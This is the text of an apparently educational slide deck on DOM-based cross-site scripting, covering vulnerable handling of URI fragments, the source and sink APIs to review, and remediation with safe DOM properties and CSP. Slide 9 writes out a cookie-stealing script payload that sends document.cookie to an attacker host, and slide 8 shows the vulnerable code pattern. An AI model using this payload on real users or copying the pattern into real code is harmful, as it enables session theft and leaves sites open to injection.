Understand the risk of Dom-Based Cross-site Scripting

1. Understanding DOM-BASED XSS
BY: JOHN PATRICK LITA
INFORMATION SECURITY CONSULTANT – GLOBE TELECOM (ISDP/VM)

2. DOM-BASED XSS
 As JavaScript framework have gotten more sophisticated, many developers
are pushing logic to the client-side.
 Correspondingly, the importance of knowing how to protect against
vulnerabilities occurring in the browser have increased

3. DOM-BASED XSS
 Rich web application often use URI fragment – the pary of the URL after
the # sign.
 This proven a convenient method of the storing the users location within a
page in a way that keeps browser history readable, but does not cause
extra round trips to the server.

4. URI Fragments
 URI fragments are not sent with HTTP request, so they need to be
interpreted by client-side JavaScript.
 You should be careful that your treatment of URI fragment does not
permit the injection of malicious JavaScript.
 Let’s see how a site might be vulnerable to DOM-BASED XSS Attacks

5. GUI Explanation
www.churvanels.com#1
“This a dangerous cat.”
- Cat Fan
SEE ALL THE HACKER CATS YOU LOVE! #1
For Example
Website has
Infinite scroll
Content is loaded
In dynamically
As the page is
Scrolled down.
Notice how the URI
Fragment is used to
Track the scroll
location

6. GUI Explanation
www.churvanels.com#2
“I’m Busy hacking”
- Cat Fan Overload
SEE ALL THE HACKER CATS YOU LOVE! #2
For Example
Website has
Infinite scroll
Content is loaded
In dynamically
As the page is
Scrolled down.
Notice how the URI
Fragment is used to
Track the scroll
location

7. GUI Explanation
www.churvanels.com#3
“Hacker Cat your doin it
rite!”
- Cat Ninja
SEE ALL THE HACKER CATS YOU LOVE! #3
This dome so
That if a user
Navigates away
From the site, and
Then Presses the
Back Button, this
Site can reload their
Last location

8. Code View
$(document).onload(function(){
var page = window.location.hash;
loadPage(page);
$(“#page-no”).html(page);
});
Notice how the window.location.hash value is written into the DOM as
raw HTML – a major security hole
However, there Vulnerability
In the way the URI fragment
Is interpreted. The site updates
The page number directly from
The URI fragment, without
Checking the contents

9. GUI Explanation
www.churvanels.com#3
“Hacker Cat your doin it
rite!”
- Cat Ninja
SEE ALL THE HACKER CATS YOU LOVE! #3www.churvanels.com#<script>window.location="http://www.huncker.com?cookie="+document.cookie</script>
This means an
Attacker can
Construct a URL
With malicious
JavaScript in the
URI Fragment..

10. GUI Explanation
www.churvanels.com#3
“Hacker Cat your doin it
rite!”
- Cat Ninja
SEE ALL THE HACKER CATS YOU LOVE! #3
And when
Somebody is tricked
Into visiting that
URL, the JavaScript
Will be executed in
Their browser

11. GUI Explanation
huncker.com?cookie=asFFEfadn3243sadkkkiilo56l45j56nklj2
And when
Somebody is tricked
Into visiting that
URL, the JavaScript
Will be executed in
Their browser

12. Check for DOM-Based Attack
 Perform a brief code review of every piece of JavaScript received from the
application. Identify any XSS or Redirection vulnerabilities that can be
triggered by using a crafted URL to introduce malicious data into the DOM
of the relevant page. Include all standalone JavaScript files and scripts
contained within HTML pages (both static and dynamically generated)

13. Identifying APIs
 Identify all uses of the following APIs, which may be used to access DOM
data that can be controlled via crafted URL:
 document.location
 document.URL
 document.URLUnencoded
 document.referrer
 windows.location

14. Trace the relevant
 Trace the relevant data through the code to identify what actions are
performed with it. If the data (or a manipulated form of it) is passed to one
of the following APIs, the application may be vulnerable to XSS
 Document.write()
 Document.writeIn()
 Document.body.innerHTML
 Eval()
 Window.execScript()
 Window.setInterval()
 Window.setTimeout()

15. Pass the data
 If the data is passed to one of the following APIs, the application may be
vulnerable to a redirection attack.
 Document.location
 Document.URL
 Document.open()
 Windows.location.href
 Window.navigate()
 Window.open()

16. Remediation
HACKTHENORTH.ORG

17. DOM-BASED Attack!
 DOM-based XSS attack have all the risk associated with the other types of
XSS attack, with the added bonus that they are impossible to detect from
the server side. Any page that uses URI fragments is potentially at risk from
XSS attack

18. The Protection
Protecting Against DOM-based XSS attack is a matter of checking that your
JavaScript does not interpret URI fragment in an unsafe manner. There are
number of ways to ensure this
 Use a JavaScript Framework
 Framework like Ember, AngularJS and React use template that makes
contraction of ad-hoc HTML an explicit (and rare) action. This will push your
development team toward best practices, and make unsafe operations easier to
detect

19. The Protection
 Audit Your Code Carefully
 Sometimes a full JavaScript framework is too heavyweight for your site. In that
case, you will need to regularly conduct a code review to spot locations that
reference window.location.hash.
 If you are using direct the native DOM APIs, avoid using the following
properties and functions:
 InnerHTML
 outerHTML
 Document.write
 Instead, set text content within tags whenever possible:
 innerText
 textContent

20. Who is JSON?
 Parse JSON Carefully
 Do not evaluate JSON to convert it to native JavaScript – for example, by using
the eval(….) function instead use JSON.parse(…..)
 Don’t use URI Fragment At All!
 The most secure code is the code that isn’t there. If you don’t need to use URI
fragments, then don’t! Write a unit test to scan your JavaScript for mentions of
window.location.has, and have it fail it the pattern is found. When there is a
need to use URI fragments, then you can dicuss how to ensure their sage use.

21. Implementing CSP
Content-Security Policy
 Modern browser supports Content-Security Policies that allow the author
of a web-page to control where JavaScript (and other resources) can be
loaded and executed from. XSS attacks rely on the attacker being able to
run malicious scripts on a user’s web page – either by injection inline
<script> tags somewhere within the <html> tag of a page, or by tricking
the browser into loading the JavaScript from a malicious Third-Party
domain.

22. END THE SLIDE!
BY: JOHN PATRICK LITA
INFORMATION SECURITY CONSULTANT – GLOBE TELECOM (ISDP/VM)
References:
Hackplaining and OWASP Foundation